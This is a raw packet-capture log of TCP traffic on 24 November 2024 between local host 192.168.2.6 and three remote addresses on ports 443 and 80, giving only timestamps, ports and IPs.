Nov 24, 2024 04:20:24.730716944 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.730741978 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.732165098 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.732183933 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.732223988 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.732233047 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.732261896 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.732283115 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.732894897 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.732912064 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.732990026 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.732997894 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.733036041 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.743799925 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.743817091 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.743858099 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.743863106 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.743900061 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.743910074 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.746704102 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.746722937 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.746759892 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.746771097 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.746805906 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.746818066 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.747163057 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.747185946 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.747231960 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.747240067 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.747262001 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.747267008 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.747284889 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.747329950 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.747335911 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.747340918 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.747354031 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.747487068 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.749597073 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:24.749670029 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:24.751075029 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.751131058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.751138926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.751558065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.751597881 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.751631975 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.751758099 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.751802921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.752551079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.752609968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.752660036 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.752748013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.753134012 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:24.753155947 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:24.753329039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.753422022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.753468037 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.753532887 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:24.753597021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.754081011 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.754097939 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.754164934 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.754179955 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.754209042 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.754220963 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.754230022 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.754298925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.754348040 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.755088091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.755146980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.755191088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.755247116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.755328894 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:24.755398989 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:24.755412102 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:24.755597115 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:24.756048918 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.756064892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.756112099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.756145000 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.756856918 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.756920099 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.756932974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.756979942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.757803917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.757890940 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.757949114 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.758672953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.758729935 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.758774042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.758816957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.759526014 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.759558916 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.759612083 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.759630919 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.759654045 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.759708881 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.761404991 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.761420965 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.761471033 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.761478901 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.761526108 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.761729956 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.761749983 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.761806965 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.761806965 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.761816025 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.762197018 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.762677908 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.762692928 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.762742996 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.762756109 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.762806892 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.762806892 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.771112919 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.771135092 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.771189928 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.771198034 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.771234989 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.771724939 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.771759033 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.771787882 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.771800041 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.771826029 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.771846056 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.773165941 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.773181915 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.773227930 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.773241043 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.773268938 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.773289919 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.778506994 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.778527975 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.778580904 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.778589964 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.778630972 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.778630972 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.781733036 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.781748056 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.781807899 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.781821966 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.781867981 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.782944918 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.782959938 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.783035040 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.783042908 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.783085108 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.791647911 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.791662931 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.791727066 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.791742086 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.791791916 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.794239044 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.794260025 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.794311047 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.794322014 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.794349909 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.794349909 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.799346924 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:24.799947977 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.799978018 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.800015926 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.800024033 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.800054073 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.800066948 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.807657003 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.807672977 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.807713985 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.807720900 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.807754993 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.807769060 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.810988903 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.811009884 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.811063051 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.811070919 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.811114073 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.811115026 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.836652994 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.836673975 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.836735964 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.836745977 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.836941004 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.842149019 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.842164993 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.842212915 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.842257023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.842498064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.842621088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.842679977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.843405962 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.843421936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.843481064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.843481064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.844352007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.844407082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.844468117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.844518900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.845195055 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.845252991 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.845316887 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.845463037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.845962048 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.845978022 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.846035957 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.846041918 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.846080065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.846081972 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.846096039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.846139908 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.846940994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.846999884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.847053051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.847109079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.847858906 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.847919941 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.848015070 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.848067999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.848731041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.848782063 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.848826885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.848875999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.849692106 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.849735022 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.849750042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.849781036 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.850498915 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.850557089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.850611925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.850748062 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.851540089 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.851560116 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.851596117 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.851628065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.852340937 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.852406979 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.852426052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.852519989 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.853216887 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.853312016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.853359938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.853890896 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.853907108 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.853957891 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.853964090 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.853988886 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.854012012 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.854095936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.854218006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.854227066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.854263067 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.855000019 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.855074883 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.855125904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.855349064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.855885983 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.855947971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.855958939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.856117964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.856744051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.856817007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.856882095 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.857655048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.857718945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.857731104 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.857773066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.858566046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.858634949 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.858673096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.858762980 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.859436035 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.859491110 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.859533072 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.859591007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.860308886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.860362053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.860371113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.860425949 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.861251116 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.861310005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.861311913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.861355066 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.862118006 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.862200975 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.862229109 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.862351894 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.863019943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.863045931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.863064051 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.863080978 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.863081932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.863081932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.863111019 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.863116026 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.863142967 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.863161087 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.863940954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.864001036 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.864067078 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.864118099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.864785910 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.864857912 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.864903927 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.865797997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.865843058 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.865859032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.865889072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.866565943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.866673946 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.866729021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.867468119 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.867521048 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.867523909 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.867568970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.868376970 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.868432045 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.868475914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.868541956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.869236946 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.869293928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.869337082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.869389057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.870239973 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.870251894 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.870292902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.871071100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.871124029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.872224092 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.872241020 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.872277975 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.872283936 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.872312069 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.872320890 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.880769968 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.880784988 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.880834103 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.880839109 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.880873919 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.880897999 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.889992952 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.890007973 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:24.890731096 CET	80	49718	185.215.113.206	192.168.2.6
